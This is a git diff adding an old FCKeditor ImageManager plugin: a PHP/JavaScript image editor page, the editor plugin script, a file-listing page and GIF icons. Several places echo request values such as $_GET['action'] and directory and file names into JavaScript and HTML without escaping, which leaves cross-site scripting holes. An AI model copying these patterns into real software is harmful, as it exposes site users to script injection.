+       var processedAction = "<?php echo (isset($_GET['action']) ? $_GET['action'] : ''); ?>";
+
+       if (processedAction == 'replace' && parent.old)
+       {
+               // reallow the user to close the editor window now uploading is done
+               parent.onbeforeunload = function () {parent.old();};
+       }
+
+       // set function for the wz_dragdrop script to use when dragging
+       function my_DragFunc()
+       {
+               verifyBounds();
+       }
+
+       // keep the watermark within the background
+       function verifyBounds()
+       {
+               var
+                       orig = dd.elements.background,
+                       floater = dd.elements.floater,
+                       newX = floater.x,
+                       newY = floater.y
+                       ;
+
+               if (floater.x < orig.x)
+               {
+                       newX = orig.x;
+               }
+               else if (floater.x + floater.w > orig.x + orig.w)
+               {
+                       newX = orig.x + (orig.w - floater.w);
+               }
+               if (floater.y < orig.y)
+               {
+                       newY = orig.y;
+               }
+               else if (floater.y + floater.h > orig.y + orig.h)
+               {
+                       newY = orig.y + (orig.h - floater.h);
+               }
+               if (newX != floater.x || newY != floater.y)
+               {
+                       floater.moveTo(newX, newY);
+               }
+       }
+
+// ]]>
+</script>
+
+
+<script type="text/javascript">
+
+       var mode = "<?php echo $editor->getAction(); ?>" //crop, scale, measure
+       var currentImageFile = "<?php if(count($imageInfo)>0) echo rawurlencode($imageInfo['file']); ?>";
+
+       if(window.top)
+       {
+               I18N = window.top.I18N;
+       }
+
+       function i18n(str)
+       {
+               if(I18N)
+                       return (I18N[str] || str);
+               else
+                       return str;
+       };
+       
+</script>
+
+<script type="text/javascript">
+<?php
+       if ($editor->isFileSaved() == 1)
+       {
+?>
+       // Reload the images in the imageframe of the Manager :
+       // Is there a "imgManager" frame. 
+       if ((popupWindow = parent.opener.parent) && (imgManager = parent.opener.parent.document.getElementById("imgManager")))
+       {
+               // refresh it - so it shows the edited image.
+               imgManager.src = imgManager.src;
+       }
+       else
+       {
+               popupWindow = parent;
+       }
+       // Reload the images in the editor :
+       // base system is the FCKeditor?
+       if (popupWindow.opener.FCK)
+       {
+               editorFrame = popupWindow.opener.parent.document.getElementById(popupWindow.opener.FCK.Name + '___Frame');
+               // get document
+               if (editorDocument = popupWindow.opener.FCK.EditorDocument.body)
+               {
+                       editorImages = editorDocument.getElementsByTagName("img");
+                       for (i = 0; i < editorImages.length; i++)
+                       {
+                               // reapply images their src to reload'm
+                               editorImages[i].src = editorImages[i].src;
+                       }
+               }
+       }
+       // not found?
+       if (!editorImages)
+       {
+               alert(i18n("Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content."));
+       }
+
+       // save message
+       var message = i18n('File saved.');
+<?php
+       if ($editor->forcedNewName != false)
+       {
+?>
+       message += '\n' + i18n('File name was changed into ') +  '<?php echo $editor->forcedNewName; ?>';
+<?php
+       }
+?>
+       alert(message);
+<?php
+       }
+       else if ($editor->isFileSaved() == -1)
+       {
+?>
+       alert(i18n('File was not saved.'));
+<?php
+       }
+?>
+
+       // show action buttons and current action's controls - were hidden during processing
+       if (processedAction != '')
+       {
+               if ('flip' == processedAction)
+               {
+                       processedAction = 'rotate';
+               }
+               var tools = parent.document.getElementById('tools_' + processedAction);
+               tools.style.display = 'block';
+               var buttons = parent.document.getElementById('buttons');
+               buttons.style.display = 'block';
+       }
+
+
+       // populating watermarks select box (excluding watermarks that are to big or became to big for the editted image)
+       watermarkBox = parent.document.getElementById("watermark_file");
+       imagesArray = new Array();
+       // first clear all its options
+       watermarkBox.options.length = 0;
+<?php
+       foreach($IMConfig['watermarks'] as $watermark)
+       {
+               $watermarkInfo = @getImageSize($IMConfig['base_dir'] . $watermark);
+               // populate
+               if ($watermarkInfo[0] < $imageInfo['width'] && $watermarkInfo[1] < $imageInfo['height'] && $watermarkInfo[0] != '')
+               {
+                       $pos = strrpos(basename($watermark), ".");
+                       $filename = substr(basename($watermark), 0, $pos);
+
+                       echo "watermarkBox.options[watermarkBox.options.length] = new Option('" . basename($watermark) . "', '$filename');";
+                       echo "watermarkBox.options[watermarkBox.options.length - 1].setAttribute('fullPath', '" . $IMConfig['base_dir'] . $watermark . "');";
+                       echo "watermarkBox.options[watermarkBox.options.length - 1].setAttribute('x', $watermarkInfo[0]);";
+                       echo "watermarkBox.options[watermarkBox.options.length - 1].setAttribute('y', $watermarkInfo[1]);";
+
+                       echo $filename . "Preload = new Image(10, 10);";
+                       echo $filename . "Preload.src = '" . $IMConfig['base_url'] . $watermark . "';";
+               }
+               // first item unavailable?
+               else if ($watermark == $IMConfig['watermarks'][0])
+               {
+                       echo "var firstWatermarkItemUnavailable = true;";
+               }
+
+       }
+?>
+       // no watermarks found? Show message instead of watermarking controls.
+       if (!watermarkBox.options[0])
+       {
+               parent.document.getElementById("watermarkControls").style.display = "none";
+               parent.document.getElementById("watermarkMessage").style.display = "block";
+
+               var watermarkingEnabled = false;
+       }
+       // else just show the controls
+       else
+       {
+               parent.document.getElementById("watermarkControls").style.display = "block";
+               parent.document.getElementById("watermarkMessage").style.display = "none";
+
+               var watermarkingEnabled = true;
+       }
+
+</script>
+
+</head>
+
+<body>
+<div id="status"></div>
+<div id="ant" class="selection" style="visibility:hidden"><img src="img/spacer.gif" width="0" height="0" border="0" alt="" id="cropContent"></div>
+<?php if ($editor->isGDEditable() == -1) { ?>
+       <div style="text-align:center; padding:10px;"><span class="error">GIF format is not supported, image editing not supported.</span></div>
+<?php } ?>
+<table height="100%" width="100%">
+       <tr>
+               <td>
+<?php if(count($imageInfo) > 0 && is_file($imageInfo['fullpath'])) { ?>
+
+               <div id="background" name="background" style="margin: auto; width: <?php echo $imageInfo['width']; ?>px; height: <?php echo $imageInfo['height']; ?>px; background-image: url(<?php echo $imageInfo['src']; ?>);">
+               <?php if (count($IMConfig['watermarks']) > 0) { ?>
+                       <img name="floater" id="floater" style="width: 150px; height: 150px; behavior: url('assets/pngbehavior.htc'); position: absolute" src="<?php echo $IMConfig['base_url'] . $IMConfig['watermarks'][0]; ?>" />
+               <?php } ?>
+               </div>
+
+               <span id="imgCanvas" name="imgCanvas" class="crop" style="display: none;"><img src="<?php echo $imageInfo['src']; ?>" <?php echo $imageInfo['dimensions']; ?> alt="" id="theImage" name="theImage" /></span>
+
+<?php } else { ?>
+                               <span class="error">No Image Available</span>
+<?php } ?>
+               </td>
+       </tr>
+</table>
+
+<script type="text/javascript">
+// <![CDATA[
+
+       if (watermarkingEnabled == true)
+       {
+               SET_DHTML("background"+NO_DRAG, "floater"+CURSOR_MOVE);
+               if (window.firstWatermarkItemUnavailable == true)
+               {
+                       dd.elements.floater.swapImage(eval("window." + watermarkBox.options[0].value + "Preload.src"));
+               }
+               dd.elements.floater.resizeTo(watermarkBox.options[0].getAttribute("x"), watermarkBox.options[0].getAttribute("y"));
+               dd.elements.floater.hide();
+               verifyBounds();
+               dd.elements.floater.nimg.style.behavior = "url('assets/pngbehavior.htc')";
+
+<?php
+       if (isset($_GET['action']))
+       {
+               if ($_GET['action'] == "watermark")
+               {?>
+                               dd.elements.floater.show();
+               <?php }
+       }
+?>
+       }
+       else
+       {
+               if (document.getElementById("floater"))
+               {
+                       document.getElementById("floater").style.display = "none";
+               }
+       }
+
+       // hiding parent processing message
+       parent.window.hideMessage();
+
+       // make sure the slider of the watermark's opacity if at max
+       parent.window.updateSlider(100, 'watermark');
+
+// ]]>
+</script>
+</body>
+</html>
diff --git a/fckeditor/editor/plugins/ImageManager/fckplugin.js b/fckeditor/editor/plugins/ImageManager/fckplugin.js
new file mode 100755 (executable)
index 0000000..935e1aa
--- /dev/null
@@ -0,0 +1,277 @@
+// ================================================
+// Image Manager FCKeditor interface (IE & Gecko)
+// ================================================
+// Plugin Interface: Brent Kelly - Zeald.com
+// (c)2005 All rights reserved.
+// ================================================
+// Integrates FCKeditor with:
+// PHP image manager http://www.zhuo.org/htmlarea/
+// ================================================
+// Revision: 1.0                   Date: 06/03/2005
+// $Id: fckplugin.js,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+// ================================================
+
+
+
+// ==============       config settings       ===========
+
+// plugin's language
+       var _editor_lang = "en";
+// show image manager or show immediately the image editor
+// false = use manager, standard behavior
+// true = no manager, only editing the image
+       var IM_directEdit = false;
+
+// ================================================
+
+
+
+
+       var FCKImageManager = function(name) {  
+               this.Name = name;               
+       }  
+       // manage the plugins' button behavior  
+       FCKImageManager.prototype.GetState = function() {  
+               return FCK_TRISTATE_OFF;  
+       }  
+        
+       FCKCommands.RegisterCommand('ImageManager', new FCKImageManager('ImageManager')) ;  
+        
+       // Create the toolbar button. 
+       var oImageManagerItem = new FCKToolbarButton( 'ImageManager', "ImageManager", null, null, false, true ) ; 
+       oImageManagerItem.IconPath = FCKConfig.PluginsPath + 'ImageManager/icon.gif' ; 
+       FCKToolbarItems.RegisterItem( 'ImageManager', oImageManagerItem ) ;
+       
+       FCKImageManager.prototype.Execute = function() {  
+               ImageManager_click(FCK, null)   
+       }
+
+    // Open the Placeholder dialog on double click.
+    function ImageManager_doubleClick (img) {
+
+               if ( img.tagName == 'IMG' ) FCKCommands.GetCommand( 'ImageManager' ).Execute() ;
+       }
+
+       FCK.RegisterDoubleClickHandler( ImageManager_doubleClick, 'IMG' ) ;     
+
+       // starting ImageManager
+       function ImageManager_click(editor, sender) {
+               var wArgs = {};
+               if(FCKSelection.GetType() == 'Control') {
+                       var sElm = FCK.Selection.GetSelectedElement();
+               } if(FCKSelection.GetType() == 'Text') {
+                       var sElm = FCKSelection.GetParentElement();
+               }
+               
+               if (sElm != null && sElm.nodeName.toLowerCase() == 'img') var im = sElm;  // is current cell a image ?                  
+       
+               if (im) { // selected object is image
+                       wArgs.f_url             = im.src ? im.src : '';
+                       wArgs.f_alt             = im.alt ? im.alt : '';
+                       wArgs.f_title   = im.title ? im.title : '';
+                       wArgs.f_width   = im.style.width  ? im.style.width  : im.width;
+                       wArgs.f_height  = im.style.height ? im.style.height : im.height;
+                       wArgs.f_border  = im.border ? im.border : '';
+                       wArgs.f_align   = im.align ? im.align : '';
+                       wArgs.f_className = im.className ? im.className : '';
+                       
+                       // (-1 when not set under gecko for some reason)
+                       wArgs.f_horiz = (im.hspace >= 0) ? im.attributes['hspace'].nodeValue : ''; 
+                       wArgs.f_vert = (im.vspace >= 0) ? wArgs.f_vert = im.attributes['vspace'].nodeValue : '';                        
+               } else {
+                       wArgs = null;
+               }
+               //-------------------------------------------------------------------------
+               var manager = new ImageManager();
+               manager.insert(wArgs);
+
+       }
+
+//-------------------------------------------------------------------------
+function setAttrib(element, name, value, fixval) { // set element attributes
+       if (!fixval && value != null) {
+               var re = new RegExp('[^0-9%]', 'g');
+               value = value.replace(re, '');
+       }
+       if (value != null && value != '') {
+               element.setAttribute(name, value);
+       } else {
+               element.removeAttribute(name);
+       }
+}
+
+/* IMAGE MANAGER OBJECT - A CROSS BETWEEN THE STANDALONE & HTMLAREA PLUGIN VERSIONS */
+function ImageManager()
+{
+       //var tt = ImageManager.I18N;   
+};
+
+
+// Open up the plugin's dialog with manager or editor.
+ImageManager.prototype.insert = function(outparam)
+{
+       // show image editor
+       if (IM_directEdit)
+       {
+               // image selected?
+               var sElm = FCK.Selection.GetSelectedElement();
+               if (sElm != null && sElm.nodeName.toLowerCase() == 'img')
+               {
+                       // opening a dialog with the image editor - editor.php must receive the path to the image relative to your 'base_url' defined in 'config.inc.php'
+                       // for direct Editing, we assume that there are no subdirectories in 'base_url' so our path is just '/'
+                       lastSlashPosition = sElm.src.lastIndexOf('/') + 1;
+                       imgFileName = sElm.src.substring(lastSlashPosition);
+                       var url = FCKConfig.PluginsPath + 'ImageManager/editor.php?img=' + "/" + imgFileName;
+                       Dialog(url, null, outparam);
+               }
+               // no image selected - stop
+               else
+               {
+                       alert("no image selected");
+                       return false;
+               }
+       }
+       // show image manager
+       else
+       {
+               var manager = FCKConfig.PluginsPath+'ImageManager/manager.php';
+
+               
+               Dialog(manager, function(param) {
+
+                       if (!param) return false; // user must have pressed cancel
+                       var sElm = FCK.Selection.GetSelectedElement();
+                       if (sElm != null && sElm.nodeName.toLowerCase() == 'img') var im = sElm;                                
+
+                       if (!im) { // new image// no image - create new image
+                               im = FCK.CreateElement('IMG');                                  
+                       }
+
+                       // set image attributes 
+                       setAttrib(im, "_fcksavedurl", param.f_url, true);                       
+                       setAttrib(im, 'src', param.f_url, true);                                
+                       setAttrib(im, 'alt', param.f_alt, true);
+                       setAttrib(im, 'title', param.f_title, true);
+                       setAttrib(im, 'align', param.f_align, true);
+                       setAttrib(im, 'border', param.f_border);
+                       setAttrib(im, 'hspace', param.f_horiz);
+                       setAttrib(im, 'vspace', param.f_vert);
+                       setAttrib(im, 'width', param.f_width);
+                       setAttrib(im, 'height', param.f_height);                                
+                       setAttrib(im, 'className', param.f_className, true); 
+                       return;
+
+               }, outparam);
+       }
+};
+
+// Dialog v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// Id: dialog.js 26 2004-03-31 02:35:21Z Wei Zhuo 
+
+// Though "Dialog" looks like an object, it isn't really an object.  Instead
+// it's just namespace for protecting global symbols.
+function Dialog(url, action, init) {
+       if (typeof init == "undefined") {
+               init = window;  // pass this window object by default
+       }
+       Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+       setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+       if (Dialog._modal && !Dialog._modal.closed) {
+               Dialog._stopEvent(ev);
+       }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+       //var urlLink = "hadialog"+url.toString();
+       var myURL = "hadialog"+url;
+       var regObj = /\W/g;
+       myURL = myURL.replace(regObj,'_');
+       var dlg = window.open(url, myURL,
+                             "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+                             "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+       Dialog._modal = dlg;
+       Dialog._arguments = init;
+
+       // capture some window's events
+       function capwin(w) {
+               Dialog._addEvent(w, "click", Dialog._parentEvent);
+               Dialog._addEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._addEvent(w, "focus", Dialog._parentEvent);
+       };
+       // release the captured events
+       function relwin(w) {
+               Dialog._removeEvent(w, "click", Dialog._parentEvent);
+               Dialog._removeEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._removeEvent(w, "focus", Dialog._parentEvent);
+       };
+       capwin(window.document);
+       // capture other frames
+       for (var i = 0; i < window.frames.length; capwin(window.frames[i++].document));
+       // make up a function to be called when the Dialog ends.
+       Dialog._return = function (val) {
+               if (val && action) {
+                       action(val);
+               }
+               relwin(window.document);
+               // capture other frames
+               for (var i = 0; i < window.frames.length; relwin(window.frames[i++].document));
+               Dialog._modal = null;
+       };
+};
+
+
+// event handling
+
+Dialog._addEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.attachEvent("on" + evname, func);
+       } else {                
+               el.addEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._removeEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.detachEvent("on" + evname, func);
+       } else {
+               el.removeEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._stopEvent = function(ev) {
+       if (Dialog.is_ie) {
+               ev.cancelBubble = true;
+               ev.returnValue = false;
+       } else {
+               ev.preventDefault();
+               ev.stopPropagation();
+       }
+};
+
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie      = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
diff --git a/fckeditor/editor/plugins/ImageManager/icon.gif b/fckeditor/editor/plugins/ImageManager/icon.gif
new file mode 100755 (executable)
index 0000000..8a6f3d4
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/icon.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/images.php b/fckeditor/editor/plugins/ImageManager/images.php
new file mode 100755 (executable)
index 0000000..3a1a8b6
--- /dev/null
@@ -0,0 +1,209 @@
+<?php
+/**
+ * Show a list of images in a long horizontal table.
+ * @author Wei Zhuo
+ * @version $Id: images.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+
+//default path is /
+$relative = '/';
+$manager = new ImageManager($IMConfig);
+
+//process any file uploads
+$manager->processUploads();
+
+$manager->deleteFiles();
+
+$refreshDir = false;
+//process any directory functions
+if($manager->deleteDirs() || $manager->processNewDir())
+       $refreshDir = true;
+
+//check for any sub-directory request
+//check that the requested sub-directory exists
+//and valid
+if(isset($_REQUEST['dir']))
+{
+       $path = rawurldecode($_REQUEST['dir']);
+       if($manager->validRelativePath($path))
+               $relative = $path;
+}
+
+
+$manager = new ImageManager($IMConfig);
+
+
+//get the list of files and directories
+$list = $manager->getFiles($relative);
+
+
+/* ================= OUTPUT/DRAW FUNCTIONS ======================= */
+
+/**
+ * Draw the files in an table.
+ */
+function drawFiles($list, &$manager)
+{
+       global $relative;
+       global $IMConfig;
+
+       foreach($list as $entry => $file) 
+       { ?>
+               <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+               <a href="javascript:;" onclick="selectImage('<?php echo $file['relative'];?>', '<?php echo $entry; ?>', <?php echo $file['image'][0];?>, <?php echo $file['image'][1]; ?>);"title="<?php echo $entry; ?> - <?php echo Files::formatSize($file['stat']['size']); ?>"><img src="<?php echo $manager->getThumbnail($file['relative']); ?>" alt="<?php echo $entry; ?> - <?php echo Files::formatSize($file['stat']['size']); ?>"/></a>
+               </td></tr><tr><td class="edit">
+               <?php if($IMConfig['allow_delete'] == true) { ?>
+                       <a href="images.php?dir=<?php echo $relative; ?>&amp;delf=<?php echo rawurlencode($file['relative']);?>" title="Trash" onclick="return confirmDeleteFile('<?php echo $entry; ?>');"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
+               <?php } ?>
+                       <a href="javascript:;" title="Edit" onclick="editImage('<?php echo rawurlencode($file['relative']);?>');"><img src="img/edit_pencil.gif" height="15" width="15" alt="Edit"/></a>
+               <?php if($file['image']){ echo $file['image'][0].'x'.$file['image'][1]; } else echo $entry;?>
+               </td></tr></table></td> 
+         <?php 
+       }//foreach
+}//function drawFiles
+
+
+/**
+ * Draw the directory.
+ */
+function drawDirs($list, &$manager) 
+{
+       global $relative;
+
+       foreach($list as $path => $dir) 
+       { ?>
+               <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+               <a href="images.php?dir=<?php echo rawurlencode($path); ?>" onclick="updateDir('<?php echo $path; ?>')" title="<?php echo $dir['entry']; ?>"><img src="img/folder.gif" height="80" width="80" alt="<?php echo $dir['entry']; ?>" /></a>
+               </td></tr><tr>
+               <td class="edit">
+                       <a href="images.php?dir=<?php echo $relative; ?>&amp;deld=<?php echo rawurlencode($path); ?>" title="Trash" onclick="return confirmDeleteDir('<?php echo $dir['entry']; ?>', <?php echo $dir['count']; ?>);"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
+                       <?php echo $dir['entry']; ?>
+               </td>
+               </tr></table></td>
+         <?php 
+       } //foreach
+}//function drawDirs
+
+
+/**
+ * No directories and no files.
+ */
+function drawNoResults() 
+{
+?>
+<table width="100%">
+  <tr>
+    <td class="noResult">No Images Found</td>
+  </tr>
+</table>
+<?php  
+}
+
+/**
+ * No directories and no files.
+ */
+function drawErrorBase(&$manager) 
+{
+?>
+<table width="100%">
+  <tr>
+    <td class="error">Invalid base directory: <?php echo $manager->config['base_dir']; ?></td>
+  </tr>
+</table>
+<?php  
+}
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+       <title>Image List</title>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <link href="assets/imagelist.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/dialog.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       if(window.top)
+               I18N = window.top.I18N;
+
+       function hideMessage()
+       {
+               var topDoc = window.top.document;
+               var messages = topDoc.getElementById('messages');
+               if(messages)
+                       messages.style.display = "none";
+       }
+
+       init = function()
+       {
+               hideMessage();
+               var topDoc = window.top.document;
+
+<?php 
+       //we need to refesh the drop directory list
+       //save the current dir, delete all select options
+       //add the new list, re-select the saved dir.
+       if($refreshDir) 
+       { 
+               $dirs = $manager->getDirs();
+?>
+               var selection = topDoc.getElementById('dirPath');
+               var currentDir = selection.options[selection.selectedIndex].text;
+
+               while(selection.length > 0)
+               {       selection.remove(0); }
+               
+               selection.options[selection.length] = new Option("/","<?php echo rawurlencode('/'); ?>");       
+               <?php foreach($dirs as $relative=>$fullpath) { ?>
+               selection.options[selection.length] = new Option("<?php echo $relative; ?>","<?php echo rawurlencode($relative); ?>");          
+               <?php } ?>
+               
+               for(var i = 0; i < selection.length; i++)
+               {
+                       var thisDir = selection.options[i].text;
+                       if(thisDir == currentDir)
+                       {
+                               selection.selectedIndex = i;
+                               break;
+                       }
+               }               
+<?php } ?>
+       }       
+
+       function editImage(image) 
+       {
+               var url = "editor.php?img="+image;
+               Dialog(url, function(param) 
+               {
+                       if (!param) // user must have pressed Cancel
+                               return false;
+                       else
+                       {
+                               return true;
+                       }
+               }, null);               
+       }
+
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/images.js"></script>
+</head>
+
+<body>
+<?php if ($manager->isValidBase() == false) { drawErrorBase($manager); } 
+       elseif(count($list[0]) > 0 || count($list[1]) > 0) { ?>
+<table>
+       <tr>
+       <?php drawDirs($list[0], $manager); ?>
+       <?php drawFiles($list[1], $manager); ?>
+       </tr>
+</table>
+<?php } else { drawNoResults(); } ?>
+</body>
+</html>
diff --git a/fckeditor/editor/plugins/ImageManager/img/2x2.gif b/fckeditor/editor/plugins/ImageManager/img/2x2.gif
new file mode 100755 (executable)
index 0000000..2f2ec4a
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/2x2.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/2x2_w.gif b/fckeditor/editor/plugins/ImageManager/img/2x2_w.gif
new file mode 100755 (executable)
index 0000000..9b560a8
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/2x2_w.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/backgroundGrid.gif b/fckeditor/editor/plugins/ImageManager/img/backgroundGrid.gif
new file mode 100755 (executable)
index 0000000..8a832ca
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/backgroundGrid.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/btnFolderNew.gif b/fckeditor/editor/plugins/ImageManager/img/btnFolderNew.gif
new file mode 100755 (executable)
index 0000000..0c2073b
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/btnFolderNew.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/btnFolderUp.gif b/fckeditor/editor/plugins/ImageManager/img/btnFolderUp.gif
new file mode 100755 (executable)
index 0000000..7bd245d
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/btnFolderUp.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/btn_cancel.gif b/fckeditor/editor/plugins/ImageManager/img/btn_cancel.gif
new file mode 100755 (executable)
index 0000000..cf59af7
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/btn_cancel.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/btn_ok.gif b/fckeditor/editor/plugins/ImageManager/img/btn_ok.gif
new file mode 100755 (executable)
index 0000000..eb568d8
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/btn_ok.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/crop.gif b/fckeditor/editor/plugins/ImageManager/img/crop.gif
new file mode 100755 (executable)
index 0000000..729dc70
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/crop.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/default.gif b/fckeditor/editor/plugins/ImageManager/img/default.gif
new file mode 100755 (executable)
index 0000000..704197f
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/default.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/div.gif b/fckeditor/editor/plugins/ImageManager/img/div.gif
new file mode 100755 (executable)
index 0000000..b9940cb
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/div.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/dots.gif b/fckeditor/editor/plugins/ImageManager/img/dots.gif
new file mode 100755 (executable)
index 0000000..859294e
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/dots.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/edit_active.gif b/fckeditor/editor/plugins/ImageManager/img/edit_active.gif
new file mode 100755 (executable)
index 0000000..35ecf14
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/edit_active.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/edit_pencil.gif b/fckeditor/editor/plugins/ImageManager/img/edit_pencil.gif
new file mode 100755 (executable)
index 0000000..abb9fe4
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/edit_pencil.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/edit_trash.gif b/fckeditor/editor/plugins/ImageManager/img/edit_trash.gif
new file mode 100755 (executable)
index 0000000..beac141
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/edit_trash.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/folder.gif b/fckeditor/editor/plugins/ImageManager/img/folder.gif
new file mode 100755 (executable)
index 0000000..180ea1c
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/folder.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/hand.gif b/fckeditor/editor/plugins/ImageManager/img/hand.gif
new file mode 100755 (executable)
index 0000000..0fcb538
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/hand.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/islocked2.gif b/fckeditor/editor/plugins/ImageManager/img/islocked2.gif
new file mode 100755 (executable)
index 0000000..1dfd2ec
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/islocked2.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/locked.gif b/fckeditor/editor/plugins/ImageManager/img/locked.gif
new file mode 100755 (executable)
index 0000000..854f1b8
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/locked.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/measure.gif b/fckeditor/editor/plugins/ImageManager/img/measure.gif
new file mode 100755 (executable)
index 0000000..6d7b0fd
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/measure.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/noimages.gif b/fckeditor/editor/plugins/ImageManager/img/noimages.gif
new file mode 100755 (executable)
index 0000000..3014d94
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/noimages.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/replace.gif b/fckeditor/editor/plugins/ImageManager/img/replace.gif
new file mode 100755 (executable)
index 0000000..a1c9718
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/replace.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/rotate.gif b/fckeditor/editor/plugins/ImageManager/img/rotate.gif
new file mode 100755 (executable)
index 0000000..f1ece0b
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/rotate.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/save.gif b/fckeditor/editor/plugins/ImageManager/img/save.gif
new file mode 100755 (executable)
index 0000000..be88461
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/save.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/scale.gif b/fckeditor/editor/plugins/ImageManager/img/scale.gif
new file mode 100755 (executable)
index 0000000..4308977
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/scale.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/spacer.gif b/fckeditor/editor/plugins/ImageManager/img/spacer.gif
new file mode 100755 (executable)
index 0000000..fc25609
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/spacer.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/t_black.gif b/fckeditor/editor/plugins/ImageManager/img/t_black.gif
new file mode 100755 (executable)
index 0000000..0400f9e
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/t_black.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/t_white.gif b/fckeditor/editor/plugins/ImageManager/img/t_white.gif
new file mode 100755 (executable)
index 0000000..4373239
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/t_white.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/transparentpixel.gif b/fckeditor/editor/plugins/ImageManager/img/transparentpixel.gif
new file mode 100755 (executable)
index 0000000..b740647
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/transparentpixel.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/unlocked.gif b/fckeditor/editor/plugins/ImageManager/img/unlocked.gif
new file mode 100755 (executable)
index 0000000..fe4e0d4
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/unlocked.gif differ
